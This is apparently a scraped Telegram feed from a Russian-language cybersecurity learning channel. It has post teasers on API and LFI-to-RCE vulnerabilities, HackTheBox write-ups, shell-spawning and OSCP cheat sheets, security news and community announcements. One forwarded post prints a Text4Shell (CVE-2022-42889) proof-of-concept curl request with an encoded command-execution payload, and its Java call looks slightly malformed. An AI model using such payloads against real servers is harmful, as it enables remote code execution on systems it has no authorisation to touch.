Атаки на API и Web Service
Сегодня познакомимся с двумя уязвимостями при пентесте на API.
В последующих статьях расскажу про другие виды уязвимостей на веб-сервисы и API.
Сегодня познакомимся с двумя уязвимостями при пентесте на API.
В последующих статьях расскажу про другие виды уязвимостей на веб-сервисы и API.
Telegraph
Атаки на API и Web Service
Привет! На связи @fir3wall1Сегодня познакомимся с двумя уязвимостями при пентесте на API.В последующих статьях расскажу про другие виды уязвимостей на веб-сервисы и API. Information Disclosure Пожалуй, эта уязвимость будет встречаться тебе часто, поэтому…
👍5❤2🤔2❤🔥1🔥1😍1
Forwarded from "Cyber detective" & "Irina Daily Tech Tips" твиты на русском
Сервисы для безопасного исследования "подозрительных" ссылок
view-page-source.com - просмотр html-кода страницы.
textise.net - просмотр только текста и гиперссылок.
redirectdetective.com - просмотр цепочки редиректов, которая запускается при открытии ссылки.
https://www.virustotal.com/gui/home/url - проверка на наличие угроз с помощью Virus Total.
scam-detector.com/validator/ - проверка домена на "надежность" (возраст домена, жалобы пользователей, наличие в черных списках).
@user_it_channel
view-page-source.com - просмотр html-кода страницы.
textise.net - просмотр только текста и гиперссылок.
redirectdetective.com - просмотр цепочки редиректов, которая запускается при открытии ссылки.
https://www.virustotal.com/gui/home/url - проверка на наличие угроз с помощью Virus Total.
scam-detector.com/validator/ - проверка домена на "надежность" (возраст домена, жалобы пользователей, наличие в черных списках).
@user_it_channel
❤5👍4❤🔥1🔥1🤔1😍1
#ЦиклСтатей_Linux
Это продолжение статей с разбором команд Linux. Продвинутые команды часть №3
Часть №1
Часть №2
Это продолжение статей с разбором команд Linux. Продвинутые команды часть №3
Часть №1
Часть №2
Telegraph
Продвинутые команды часть 3
3 часть по Linux
🔥4❤🔥1❤1👍1🤔1😍1
#КейсИБ
Предыдущий кейс отлично зашёл Вам, поэтому будет и дальше развивать это направление!
Уборщица проводила уборку в серверной комнате (в серверную допуск есть). Немного ранее практиканты там серьезно так натоптали, а техника пыль не любит. Вдруг она к вам прибегает и говорит, что нашла там какое то устройство с торчащими проводами и изолентой. Уборщица встревожена, так как думает, что это может быть взрывное устройство. Ваши действия?
РЕШЕНО
Предыдущий кейс отлично зашёл Вам, поэтому будет и дальше развивать это направление!
Уборщица проводила уборку в серверной комнате (в серверную допуск есть). Немного ранее практиканты там серьезно так натоптали, а техника пыль не любит. Вдруг она к вам прибегает и говорит, что нашла там какое то устройство с торчащими проводами и изолентой. Уборщица встревожена, так как думает, что это может быть взрывное устройство. Ваши действия?
РЕШЕНО
🔥7😍4❤3🤔2❤🔥1👍1🤣1
#ЦиклСтатей_Уязвимость
Веб-уязвимости | Уязвимость LFI | Часть 1
Привет! Сегодня познакомимся с уязвимостью LFI, раскроем ее прелести, из-за чего возникает и как и почему это работает, let's root!
Веб-уязвимости | Уязвимость LFI | Часть 1
Привет! Сегодня познакомимся с уязвимостью LFI, раскроем ее прелести, из-за чего возникает и как и почему это работает, let's root!
Telegraph
Веб-уязвимости | Уязвимость LFI
Привет! Сегодня познакомимся с уязвимостью LFI, раскроем ее прелести, из-за чего возникает и как и почему это работает, let's root! Что такое HTTP параметр? Давайте для начала разберемся что такое HTTP параметр, вы наверно когда нибудь видели в адресной строке…
❤🔥6❤3👍1🔥1😍1
#ЦиклСтатей_Уязвимость
Веб-уязвимости | Уязвимость LFI | Часть 2
В предыдущей статье мы познакомились с LFI. В этой части мы с вами познакомимся с тем, что такое wrapper и как их применять к LFI и научимся раскручивать LFI до уязвимости RCE. Let's root!
Веб-уязвимости | Уязвимость LFI | Часть 2
В предыдущей статье мы познакомились с LFI. В этой части мы с вами познакомимся с тем, что такое wrapper и как их применять к LFI и научимся раскручивать LFI до уязвимости RCE. Let's root!
Telegraph
Веб-уязвимости | Уязвимость LFI
В предыдущей статье мы познакомились с LFI. В этой части мы с вами познакомимся с тем, что такое wrapper и как их применять к LFI и научимся раскручивать LFI до уязвимости RCE Let's root! Что это такое? Враппер с английского переводится как обертка. Но пока…
👍3❤🔥2❤1🔥1
Всем привет, рады сообщить вам отличную новость новость, мы начали сотрудничество с КиберХакерс 🍾
Это студенческое сообщество РТУ МИРЭА по информационным технологиям и кибербезопасности. (Подробнее смотрите в группе VK)
Мы уже делаем контент для совместного Ютуб канала и как только первый ролик выйдет мы дадим вам знать 😉
Так же мы будем стримить их оффлайн курсы которые они проводят в университете, в дискорде и в этой группе.
Это студенческое сообщество РТУ МИРЭА по информационным технологиям и кибербезопасности. (Подробнее смотрите в группе VK)
Мы уже делаем контент для совместного Ютуб канала и как только первый ролик выйдет мы дадим вам знать 😉
Так же мы будем стримить их оффлайн курсы которые они проводят в университете, в дискорде и в этой группе.
👍11🔥5❤4❤🔥3😍2
#Новости
Долой пароли!
Google запустила технологию беспарольной аутентификации
Технология Passkeys позволяет входить на различные сайты с использованием устройства, которое подтверждает вашу личность — например, смартфона с биометрическим сенсором или ключом доступа.
Для её реализации требуется, чтобы разработчики онлайн-сервиса внедрили поддержку Passkeys. При этом допускается кросс-платформа — например, можно авторизовываться на сайтах в Safari на MacBook через смартфон на Android.
Google сообщает, что все сгенерированные ключи аутентификации хранятся в облаке и синхронизируются в нём с помощью Google Password Manager. (Последнее совсем небезопасное) )
Долой пароли!
Google запустила технологию беспарольной аутентификации
Технология Passkeys позволяет входить на различные сайты с использованием устройства, которое подтверждает вашу личность — например, смартфона с биометрическим сенсором или ключом доступа.
Для её реализации требуется, чтобы разработчики онлайн-сервиса внедрили поддержку Passkeys. При этом допускается кросс-платформа — например, можно авторизовываться на сайтах в Safari на MacBook через смартфон на Android.
Google сообщает, что все сгенерированные ключи аутентификации хранятся в облаке и синхронизируются в нём с помощью Google Password Manager. (Последнее совсем небезопасное) )
🤣8❤🔥3👍3❤1🔥1😍1
Forwarded from Monkey Hacker
#cve
CVE-2022-40684
В продуктах Fortinet (FortiOS, FortiProxy и FortiSwitchManager) была найдена уязвимость, позволяющая обойти аутентификацию и конфигурацию LDAP, путем извлечения пользователей с привилегиями администратора
Все нужные ресурсы:
🔸https://github.com/carlosevieira/CVE-2022-40684
🔸https://www.usergate.com/ru/security-reports/CVE-2022-40684
CVE-2022-40684
В продуктах Fortinet (FortiOS, FortiProxy и FortiSwitchManager) была найдена уязвимость, позволяющая обойти аутентификацию и конфигурацию LDAP, путем извлечения пользователей с привилегиями администратора
Все нужные ресурсы:
🔸https://github.com/carlosevieira/CVE-2022-40684
🔸https://www.usergate.com/ru/security-reports/CVE-2022-40684
GitHub
GitHub - carlosevieira/CVE-2022-40684: PoC for CVE-2022-40684 - Authentication bypass lead to Full device takeover (Read-only)
PoC for CVE-2022-40684 - Authentication bypass lead to Full device takeover (Read-only) - carlosevieira/CVE-2022-40684
❤5👍2❤🔥1🔥1🤔1😍1
#Новости
CISA выпустила open-source инструмент для визуализации C&C-логов с открытым кодом
RedEye – это интерактивный аналитический инструмент с открытым исходным кодом, который полезен как для красной, так и для синей команды. Инструмент и его подробное описание уже доступны на GitHub .
RedEye позволяет оператору оценить и отобразить сложные данные, оценить стратегии смягчения последствий, а также поможет принять правильное решение в ответ на действия специалистов из красной команды.
CISA выпустила open-source инструмент для визуализации C&C-логов с открытым кодом
RedEye – это интерактивный аналитический инструмент с открытым исходным кодом, который полезен как для красной, так и для синей команды. Инструмент и его подробное описание уже доступны на GitHub .
RedEye позволяет оператору оценить и отобразить сложные данные, оценить стратегии смягчения последствий, а также поможет принять правильное решение в ответ на действия специалистов из красной команды.
❤5👍3❤🔥1🔥1😍1
#ЦиклСтатей_HTB
Writeup HackTheBox Shoppy [EASY]
Доброго времени суток, сегодня мы разберем машину Shoppy на Hack The Box из категории Easy.
Writeup HackTheBox Shoppy [EASY]
Доброго времени суток, сегодня мы разберем машину Shoppy на Hack The Box из категории Easy.
Telegraph
Writeup shoppy.htb [EASY]
Сканирование Для начала закинем машинку в /etc/hosts. Посмотрим на сервисы, запущенные на машине: PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) 80/tcp open http nginx 1.23.1 Посканим на возможные поддомены утилитой…
🔥8❤3❤🔥3👍1😍1
#ЦиклСтатей_Linux
Файловая система Linux. В данной статье вы узнаете о разновидностях файловых систем Linux и об устройстве самой файловой системы. Особенно будет полезно тем, кто только начинает изучать линук. А для тех кто пропустил данную тему, советую к прочтению 😉
Файловая система Linux. В данной статье вы узнаете о разновидностях файловых систем Linux и об устройстве самой файловой системы. Особенно будет полезно тем, кто только начинает изучать линук. А для тех кто пропустил данную тему, советую к прочтению 😉
Telegraph
Файловая система Linu
Расскажу про файловую систему Linux
❤15👍2❤🔥1😍1
#CheatSheet
OSCP Cheat Sheet
Commands, Payloads and Resources for the Offensive Security Certified Professional Certification.
OSCP Cheat Sheet
Commands, Payloads and Resources for the Offensive Security Certified Professional Certification.
👍7❤3❤🔥1🔥1🤔1😍1
#КейсИБ
От вашего коллеги пришло письмо с ссылкой на Google Drive. По предпросмотру видно, что там папка с видео и каким то вордовским файлом.
Ваши действия?
Не решено. Вас взломали
От вашего коллеги пришло письмо с ссылкой на Google Drive. По предпросмотру видно, что там папка с видео и каким то вордовским файлом.
Ваши действия?
Не решено. Вас взломали
👍8🤣4❤🔥1❤1🔥1
Forwarded from Похек
#CVE #POC
Text4Shell CVE-2022-42889
CVE-2022-42889 Text4Shell affects Apache Commons Text versions 1.5 through 1.9. It has been patched as of Commons Text version 1.10.
POC:
curl https://localhost/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.get.Runtime%28%29.exec%28%5C%27%27%2E%74%72%69%6D%28%24%63%6D%64%29%2E%27%5C%27%29%7D
Text4Shell CVE-2022-42889
CVE-2022-42889 Text4Shell affects Apache Commons Text versions 1.5 through 1.9. It has been patched as of Commons Text version 1.10.
POC:
curl https://localhost/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.get.Runtime%28%29.exec%28%5C%27%27%2E%74%72%69%6D%28%24%63%6D%64%29%2E%27%5C%27%29%7D
👍3🤔2❤🔥1❤1🔥1
#ЦиклСтатей_HTB
[CVE-2021-43798 + RCE Consul | HTB Medium | Ambassador]
Доброго времени суток, сегодня мы разберем машину Ambassador на Hack The Box со сложностью Medium.
[CVE-2021-43798 + RCE Consul | HTB Medium | Ambassador]
Доброго времени суток, сегодня мы разберем машину Ambassador на Hack The Box со сложностью Medium.
Telegraph
[CVE-2021-43798 + RCE Consul | HTB Medium | Ambassador]
Резолвим хост в /etc/hosts: 10.10.11.183 amba.htb Перечислим сервисы: PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) 3000/tcp open ppp?…
❤7❤🔥1👍1
#ЦиклСтатей_Linux
Сегодня я вам хотел рассказать как действовать на этапе пост эксплуатации, если вы попали в урезанный shell и вам мешает его ограничения. Данную статью можно считать cheat sheet по создание TTY Shell.
Сегодня я вам хотел рассказать как действовать на этапе пост эксплуатации, если вы попали в урезанный shell и вам мешает его ограничения. Данную статью можно считать cheat sheet по создание TTY Shell.
Telegraph
Spawning a TTY Shell
Неинтерактивная оболочка tty-shell Если у вас не tty-shell, то некоторые команды и вещи вы не сможете выполнить. Это может произойти, если вы загружаете обратные оболочки на веб-сервер, так что оболочка, которую вы получаете, создается пользователем www-data…
👍5❤🔥2❤2🔥1😍1
Всем привет 🙃
Как вы знаете у нас проводятся курсы для Script-Kiddie для Новичков и тд
Сейчас мы это приостановили, но собираемся восстановить 🥳
Тут объявлений не будет но будет тут - NR | Script-Kiddie (Это чатик для учащихся)
И так же ссылка на Discord (Занятия тут)
Занятия начнутся когда наберется минимум 50 человек😁
Так же мы скоро выкатим пост о том куда стремится наше сообщество, планы на будущее 🫢
Вас ждет много сюрпризов, ждите)
P.S. : Накидайте реакций под пост, коментов там, хочется видеть обратную связь )
Как вы знаете у нас проводятся курсы для Script-Kiddie для Новичков и тд
Сейчас мы это приостановили, но собираемся восстановить 🥳
Тут объявлений не будет но будет тут - NR | Script-Kiddie (Это чатик для учащихся)
И так же ссылка на Discord (Занятия тут)
Занятия начнутся когда наберется минимум 50 человек
Так же мы скоро выкатим пост о том куда стремится наше сообщество, планы на будущее 🫢
Вас ждет много сюрпризов, ждите)
P.S. : Накидайте реакций под пост, коментов там, хочется видеть обратную связь )
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥29👍5❤🔥4❤3😍2🤔1
Всем подписчикам доброго времени суток!
После большого количества этапов разработки и проектирования мы рады представить вам наш сайт!🍾
https://cybernetrunner.ru
На сайте будут появляться наши партнеры, глобальные объявления, новые фишки и т.д.
После большого количества этапов разработки и проектирования мы рады представить вам наш сайт!🍾
https://cybernetrunner.ru
На сайте будут появляться наши партнеры, глобальные объявления, новые фишки и т.д.
❤18🔥5👍4😍2